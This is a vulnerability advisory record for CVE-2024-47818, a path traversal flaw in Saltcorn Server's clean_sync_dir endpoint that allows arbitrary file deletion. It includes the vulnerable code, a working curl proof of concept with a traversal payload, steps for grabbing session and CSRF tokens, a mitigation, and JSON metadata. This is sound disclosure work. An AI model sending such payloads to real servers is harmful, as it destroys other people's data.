GHSA-43F3-H63W-P6F6
Vulnerability from github – Published: 2024-10-07 15:10 – Updated: 2024-10-08 14:19Summary
A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
router.post(
"/clean_sync_dir",
error_catcher(async (req, res) => {
const { dir_name } = req.body; // [1] source
try {
const rootFolder = await File.rootFolder();
const syncDir = path.join(
rootFolder.location,
"mobile_app",
"sync",
dir_name // [2]
);
await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
res.status(200).send("");
} catch (error) {
getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
res.status(400).json({ error: error.message || error });
}
})
);
PoC
The following PoC can be executed with a user with any role (admin, staff, user, public)
- create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
- log with a user and retrieve valid
connect.sidand_csrfvalues*** - send the following
curlrequest
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 93' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
--data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
$'http://localhost:3000/sync/clean_sync_dir'
- check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory
*** obtain connect.sid and _csrf values
A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:
- log in
- open the browser developer console, go to the Network tab filter for settings request
- visit http://localhost:3000/auth/settings
- trigger the change password functionality
- under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command
Impact
Arbitrary file delete
Recommended Mitigation
Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-beta.15"
},
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-beta.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47818"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-07T15:10:52Z",
"nvd_published_at": "2024-10-07T22:15:04Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n \"/clean_sync_dir\",\n error_catcher(async (req, res) =\u003e {\n const { dir_name } = req.body; // [1] source\n try {\n const rootFolder = await File.rootFolder();\n const syncDir = path.join(\n rootFolder.location,\n \"mobile_app\",\n \"sync\",\n dir_name // [2]\n );\n await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n res.status(200).send(\"\");\n } catch (error) {\n getState().log(2, `POST /sync/clean_sync_dir: \u0027${error.message}\u0027`);\n res.status(400).json({ error: error.message || error });\n }\n })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $\u0027POST\u0027 \\\n -H $\u0027Host: localhost:3000\u0027 \\\n -H $\u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n -H $\u0027Content-Length: 93\u0027 \\\n -H $\u0027Origin: http://localhost:3000\u0027 \\\n -H $\u0027Connection: close\u0027 \\\n -b $\u0027connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true\u0027 \\\n --data-binary $\u0027_csrf=VALID_CSRF_VALUE\u0026dir_name=/../../../../../../../../../../tmp/secret\u0027 \\\n $\u0027http://localhost:3000/sync/clean_sync_dir\u0027\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.",
"id": "GHSA-43f3-h63w-p6f6",
"modified": "2024-10-08T14:19:02Z",
"published": "2024-10-07T15:10:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47818"
},
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a"
},
{
"type": "PACKAGE",
"url": "https://github.com/saltcorn/saltcorn"
},
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.